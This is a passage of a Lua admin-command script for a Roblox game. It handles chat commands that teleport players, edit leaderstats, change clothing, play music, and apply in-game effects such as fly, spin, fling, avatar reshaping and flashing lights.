  1065. end
  1066. end))
  1067. end
  1068. end
  1069.  
  1070. if msg:lower():sub(1,3) == "tp " then
  1071. local chk1 = msg:lower():sub(4):find(" ") + 3
  1072. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  1073. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  1074. for i, v in pairs(plrz) do
  1075. coroutine.resume(coroutine.create(function()
  1076. for i2, v2 in pairs(plrz2) do
  1077. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  1078. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  1079. end
  1080. end
  1081. end))
  1082. end
  1083. end
  1084.  
  1085. if msg:lower():sub(1,7) == "change " then
  1086. local chk1 = msg:lower():sub(8):find(" ") + 7
  1087. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1088. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1089. for i, v in pairs(plrz) do
  1090. coroutine.resume(coroutine.create(function()
  1091. if v and v:findFirstChild("leaderstats") then
  1092. for a, st in pairs(v.leaderstats:children()) do
  1093. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  1094. end
  1095. end
  1096. end))
  1097. end
  1098. end
  1099.  
  1100. if msg:lower():sub(1,6) == "shirt " then
  1101. local chk1 = msg:lower():sub(7):find(" ") + 6
  1102. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1103. for i, v in pairs(plrz) do
  1104. coroutine.resume(coroutine.create(function()
  1105. if v and v.Character then
  1106. for i,v in pairs(v.Character:children()) do
  1107. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1108. end
  1109. end
  1110. end))
  1111. end
  1112. end
  1113.  
  1114. if msg:lower():sub(1,6) == "pants " then
  1115. local chk1 = msg:lower():sub(7):find(" ") + 6
  1116. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1117. for i, v in pairs(plrz) do
  1118. coroutine.resume(coroutine.create(function()
  1119. if v and v.Character then
  1120. for i,v in pairs(v.Character:children()) do
  1121. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1122. end
  1123. end
  1124. end))
  1125. end
  1126. end
  1127.  
  1128. if msg:lower():sub(1,5) == "face " then
  1129. local chk1 = msg:lower():sub(6):find(" ") + 5
  1130. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1131. for i, v in pairs(plrz) do
  1132. coroutine.resume(coroutine.create(function()
  1133. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  1134. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  1135. end
  1136. end))
  1137. end
  1138. end
  1139.  
  1140. ------------------
  1141. -- Fun Commands --
  1142. ------------------
  1143. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  1144.  
  1145. if msg:lower():sub(1,8) == "swagify " then
  1146. local plrz = GetPlr(plr, msg:lower():sub(9))
  1147. for i, v in pairs(plrz) do
  1148. coroutine.resume(coroutine.create(function()
  1149. if v and v.Character then
  1150. for i,v in pairs(v.Character:children()) do
  1151. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1152. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1153. end
  1154. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  1155. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  1156. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  1157. local torso = plr.Character.Torso
  1158. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  1159. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  1160. p.Size = Vector3.new(.2,.2,.2)
  1161. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  1162. local motor1 = Instance.new("Motor", p)
  1163. motor1.Part0 = p
  1164. motor1.Part1 = torso
  1165. motor1.MaxVelocity = .01
  1166. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  1167. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  1168. local wave = false
  1169. repeat wait(1/44)
  1170. local ang = 0.1
  1171. local oldmag = torso.Velocity.magnitude
  1172. local mv = .002
  1173. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  1174. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  1175. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  1176. motor1.DesiredAngle = -ang
  1177. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  1178. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  1179. if torso.Velocity.magnitude < .1 then wait(.1) end
  1180. until not p or p.Parent ~= torso.Parent
  1181. script:Destroy()
  1182. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  1183. end
  1184. end))
  1185. end
  1186. end
  1187.  
  1188. if msg:lower():sub(1,6) == "music " then
  1189. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1190. local id = msg:sub(7)
  1191. local pitch = 1
  1192. if tostring(id):lower():find("caramell") then id = 2303479 end
  1193. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  1194. if tostring(id):find("rick") then id = 2027611 end
  1195. if tostring(id):find("halo") then id = 1034065 end
  1196. if tostring(id):find("pokemon") then id = 1372261 end
  1197. if tostring(id):find("cursed") then id = 1372257 end
  1198. if tostring(id):find("extreme") then id = 11420933 end
  1199. if tostring(id):find("awaken") then id = 27697277 end
  1200. if tostring(id):find("alone") then id = 27697392 end
  1201. if tostring(id):find("mario") then id = 1280470 end
  1202. if tostring(id):find("choir") then id = 1372258 end
  1203. if tostring(id):find("chrono") then id = 1280463 end
  1204. if tostring(id):find("dotr") then id = 11420922 end
  1205. if tostring(id):find("entertain") then id = 27697267 end
  1206. if tostring(id):find("fantasy") then id = 1280473 end
  1207. if tostring(id):find("final") then id = 1280414 end
  1208. if tostring(id):find("emblem") then id = 1372259 end
  1209. if tostring(id):find("flight") then id = 27697719 end
  1210. if tostring(id):find("banjo") then id = 27697298 end
  1211. if tostring(id):find("gothic") then id = 27697743 end
  1212. if tostring(id):find("hiphop") then id = 27697735 end
  1213. if tostring(id):find("intro") then id = 27697707 end
  1214. if tostring(id):find("mule") then id = 1077604 end
  1215. if tostring(id):find("film") then id = 27697713 end
  1216. if tostring(id):find("nezz") then id = 8610025 end
  1217. if tostring(id):find("angel") then id = 1372260 end
  1218. if tostring(id):find("resist") then id = 27697234 end
  1219. if tostring(id):find("schala") then id = 5985787 end
  1220. if tostring(id):find("organ") then id = 11231513 end
  1221. if tostring(id):find("tunnel") then id = 9650822 end
  1222. if tostring(id):find("spanish") then id = 5982975 end
  1223. if tostring(id):find("venom") then id = 1372262 end
  1224. if tostring(id):find("wind") then id = 1015394 end
  1225. if tostring(id):find("guitar") then id = 5986151 end
  1226. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  1227. end
  1228.  
  1229. if msg:lower() == "stopmusic" then
  1230. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1231. end
  1232.  
  1233. if msg:lower() == "musiclist" then
  1234. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  1235. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  1236. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  1237. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  1238. end
  1239.  
  1240. if msg:lower():sub(1,4) == "fly " then
  1241. local plrz = GetPlr(plr, msg:lower():sub(5))
  1242. for i, v in pairs(plrz) do
  1243. coroutine.resume(coroutine.create(function()
  1244. if v and v:findFirstChild("PlayerGui") then
  1245. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") local mouse = game.Players.LocalPlayer:GetMouse() repeat wait() until mouse ~= nil local plr = game.Players.LocalPlayer local torso = plr.Character.Torso local flying = false local deb = true local ctrl = {f = 0, b = 0, l = 0, r = 0} local lastctrl = {f = 0, b = 0, l = 0, r = 0} local maxspeed = 50 local speed = 0 function Fly() local bg = Instance.new("BodyGyro", torso) bg.P = 9e4 bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) bg.cframe = torso.CFrame local bv = Instance.new("BodyVelocity", torso) bv.velocity = Vector3.new(0,0.1,0) bv.maxForce = Vector3.new(9e9, 9e9, 9e9) repeat wait() plr.Character.Humanoid.PlatformStand = true if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then speed = speed+.5+(speed/maxspeed) if speed > maxspeed then speed = maxspeed end elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then speed = speed-1 if speed < 0 then speed = 0 end end if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity = Vector3.new(0,0.1,0) end bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) until not flying ctrl = {f = 0, b = 0, l = 0, r = 0} lastctrl = {f = 0, b = 0, l = 0, r = 0} speed = 0 bg:Destroy() bv:Destroy() plr.Character.Humanoid.PlatformStand = false end mouse.KeyDown:connect(function(key) if key:lower() == "e" then if flying then flying = false else flying = true Fly() end elseif key:lower() == "w" then ctrl.f = 1 elseif key:lower() == "s" then ctrl.b = -1 elseif key:lower() == "a" then ctrl.l = -1 elseif key:lower() == "d" then ctrl.r = 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then ctrl.f = 0 elseif key:lower() == "s" then ctrl.b = 0 elseif key:lower() == "a" then ctrl.l = 0 elseif key:lower() == "d" then ctrl.r = 0 end end)]]
  1246. cl.Parent = v.PlayerGui cl.Disabled = false
  1247. end
  1248. end))
  1249. end
  1250. end
  1251.  
  1252. if msg:lower():sub(1,6) == "unfly " then
  1253. local plrz = GetPlr(plr, msg:lower():sub(7))
  1254. for i, v in pairs(plrz) do
  1255. coroutine.resume(coroutine.create(function()
  1256. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1257. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  1258. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  1259. wait(.1) v.Character.Humanoid.PlatformStand = false
  1260. end
  1261. end))
  1262. end
  1263. end
  1264.  
  1265. if msg:lower() == "disco" then
  1266. for i, v in pairs(lobjs) do v:Destroy() end
  1267. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  1268. game.Lighting.Ambient = color
  1269. game.Lighting.FogColor = color
  1270. until nil]]
  1271. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1272. end
  1273.  
  1274. if msg:lower() == "flash" then
  1275. for i, v in pairs(lobjs) do v:Destroy() end
  1276. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
  1277. game.Lighting.Ambient = Color3.new(1,1,1)
  1278. game.Lighting.FogColor = Color3.new(1,1,1)
  1279. game.Lighting.Brightness = 1
  1280. game.Lighting.TimeOfDay = 14
  1281. wait(.1)
  1282. game.Lighting.Ambient = Color3.new(0,0,0)
  1283. game.Lighting.FogColor = Color3.new(0,0,0)
  1284. game.Lighting.Brightness = 0
  1285. game.Lighting.TimeOfDay = 0
  1286. until nil]]
  1287. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1288. end
  1289.  
  1290. if msg:lower():sub(1,5) == "spin " then
  1291. local plrz = GetPlr(plr, msg:lower():sub(6))
  1292. for i, v in pairs(plrz) do
  1293. coroutine.resume(coroutine.create(function()
  1294. if v and v.Character and v.Character:findFirstChild("Torso") then
  1295. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  1296. local torso = v.Character:findFirstChild("Torso")
  1297. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
  1298. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  1299. until not bg or bg.Parent ~= torso
  1300. end
  1301. end))
  1302. end
  1303. end
  1304.  
  1305. if msg:lower():sub(1,7) == "unspin " then
  1306. local plrz = GetPlr(plr, msg:lower():sub(8))
  1307. for i, v in pairs(plrz) do
  1308. coroutine.resume(coroutine.create(function()
  1309. if v and v.Character and v.Character:findFirstChild("Torso") then
  1310. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  1311. end
  1312. end))
  1313. end
  1314. end
  1315.  
  1316. if msg:lower():sub(1,4) == "dog " then
  1317. local plrz = GetPlr(plr, msg:lower():sub(5))
  1318. for i, v in pairs(plrz) do
  1319. coroutine.resume(coroutine.create(function()
  1320. if v and v.Character and v.Character:findFirstChild("Torso") then
  1321. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1322. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1323. v.Character.Torso.Transparency = 1
  1324. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1325. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  1326. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  1327. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  1328. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  1329. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  1330. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  1331. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  1332. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  1333. end
  1334. end))
  1335. end
  1336. end
  1337.  
  1338. if msg:lower():sub(1,6) == "undog " then
  1339. local plrz = GetPlr(plr, msg:lower():sub(7))
  1340. for i, v in pairs(plrz) do
  1341. coroutine.resume(coroutine.create(function()
  1342. if v and v.Character and v.Character:findFirstChild("Torso") then
  1343. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1344. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1345. v.Character.Torso.Transparency = 0
  1346. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1347. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1348. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1349. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1350. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1351. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1352. end
  1353. end))
  1354. end
  1355. end
  1356.  
  1357. if msg:lower():sub(1,8) == "creeper " then
  1358. local plrz = GetPlr(plr, msg:lower():sub(9))
  1359. for i, v in pairs(plrz) do
  1360. coroutine.resume(coroutine.create(function()
  1361. if v and v.Character and v.Character:findFirstChild("Torso") then
  1362. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1363. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1364. v.Character.Torso.Transparency = 0
  1365. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1366. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  1367. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  1368. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  1369. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  1370. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  1371. end
  1372. end))
  1373. end
  1374. end
  1375.  
  1376. if msg:lower():sub(1,10) == "uncreeper " then
  1377. local plrz = GetPlr(plr, msg:lower():sub(11))
  1378. for i, v in pairs(plrz) do
  1379. coroutine.resume(coroutine.create(function()
  1380. if v and v.Character and v.Character:findFirstChild("Torso") then
  1381. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1382. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1383. v.Character.Torso.Transparency = 0
  1384. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1385. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1386. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1387. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1388. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1389. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1390. end
  1391. end))
  1392. end
  1393. end
  1394.  
  1395. if msg:lower():sub(1,8) == "bighead " then
  1396. local plrz = GetPlr(plr, msg:lower():sub(9))
  1397. for i, v in pairs(plrz) do
  1398. coroutine.resume(coroutine.create(function()
  1399. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1400. end))
  1401. end
  1402. end
  1403.  
  1404. if msg:lower():sub(1,9) == "minihead " then
  1405. local plrz = GetPlr(plr, msg:lower():sub(10))
  1406. for i, v in pairs(plrz) do
  1407. coroutine.resume(coroutine.create(function()
  1408. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1409. end))
  1410. end
  1411. end
  1412.  
  1413. if msg:lower():sub(1,6) == "fling " then
  1414. local plrz = GetPlr(plr, msg:lower():sub(7))
  1415. for i, v in pairs(plrz) do
  1416. coroutine.resume(coroutine.create(function()
  1417. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1418. local xran local zran
  1419. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1420. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1421. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  1422. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1423. end
  1424. end))
  1425. end
  1426. end
  1427.  
  1428. if msg:lower():sub(1,8) == "seizure " then
  1429. local plrz = GetPlr(plr, msg:lower():sub(9))
  1430. for i, v in pairs(plrz) do
  1431. coroutine.resume(coroutine.create(function()
  1432. if v and v.Character then
  1433. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  1434. local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  1435. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  1436. end
  1437. end))
  1438. end
  1439. end
  1440.  
  1441. if msg:lower():sub(1,10) == "unseizure " then
  1442. local plrz = GetPlr(plr, msg:lower():sub(11))
  1443. for i, v in pairs(plrz) do
  1444. coroutine.resume(coroutine.create(function()
  1445. if v and v.Character then
  1446. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  1447. wait(.1) v.Character.Humanoid.PlatformStand = false
  1448. end
  1449. end))
  1450. end
  1451. end
  1452.  
  1453. if msg:lower():sub(1,12) == "removelimbs " then
  1454. local plrz = GetPlr(plr, msg:lower():sub(13))
  1455. for i, v in pairs(plrz) do
  1456. coroutine.resume(coroutine.create(function()
  1457. if v and v.Character then
  1458. for a, obj in pairs(v.Character:children()) do
  1459. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  1460. end
  1461. end
  1462. end))
  1463. end
  1464. end
  1465.  
  1466. if msg:lower():sub(1,5) == "name " then
  1467. local chk1 = msg:lower():sub(6):find(" ") + 5
  1468. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1469. for i, v in pairs(plrz) do
  1470. coroutine.resume(coroutine.create(function()
  1471. if v and v.Character and v.Character:findFirstChild("Head") then
  1472. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1473. local char = v.Character
  1474. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  1475. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  1476. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  1477. char.Head.Transparency = 1
  1478. end
  1479. end))
  1480. end
  1481. end
  1482.  
  1483. if msg:lower():sub(1,7) == "unname " then
  1484. local plrz = GetPlr(plr, msg:lower():sub(8))
  1485. for i, v in pairs(plrz) do
  1486. coroutine.resume(coroutine.create(function()
  1487. if v and v.Character and v.Character:findFirstChild("Head") then
  1488. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1489. end
  1490. end))
  1491. end
  1492. end
  1493.  
  1494. if msg:lower():sub(1,5) == "char " then
  1495. local chk1 = msg:lower():sub(6):find(" ") + 5
  1496. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1497. for i, v in pairs(plrz) do
  1498. coroutine.resume(coroutine.create(function()
  1499. if v and v.Character then
  1500. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  1501. v:LoadCharacter()
  1502. end
  1503. end))
  1504. end
  1505. end
  1506.  
  1507. if msg:lower():sub(1,7) == "unchar " then
  1508. local plrz = GetPlr(plr, msg:lower():sub(8))
  1509. for i, v in pairs(plrz) do
  1510. coroutine.resume(coroutine.create(function()
  1511. if v and v.Character then
  1512. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  1513. v:LoadCharacter()
  1514. end
  1515. end))
  1516. end
  1517. end
  1518.  
  1519. if msg:lower():sub(1,7) == "infect " then
  1520. local plrz = GetPlr(plr, msg:lower():sub(8))
  1521. for i, v in pairs(plrz) do
  1522. coroutine.resume(coroutine.create(function()
  1523. if v and v.Character then
  1524. Infect(v.Character)
  1525. end
  1526. end))
  1527. end
  1528. end
  1529.  
  1530. if msg:lower():sub(1,11) == "rainbowify " then
  1531. local plrz = GetPlr(plr, msg:lower():sub(12))
  1532. for i, v in pairs(plrz) do
  1533. coroutine.resume(coroutine.create(function()
  1534. if v and v.Character and v.Character:findFirstChild("Torso") then
  1535. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1536. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1537. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1538. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1539. cl.Parent = v.Character cl.Disabled = false
  1540. end
  1541. end))
  1542. end
  1543. end
  1544.  
  1545. if msg:lower():sub(1,9) == "flashify " then
  1546. local plrz = GetPlr(plr, msg:lower():sub(10))
  1547. for i, v in pairs(plrz) do
  1548. coroutine.resume(coroutine.create(function()
  1549. if v and v.Character and v.Character:findFirstChild("Torso") then
  1550. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1551. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1552. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
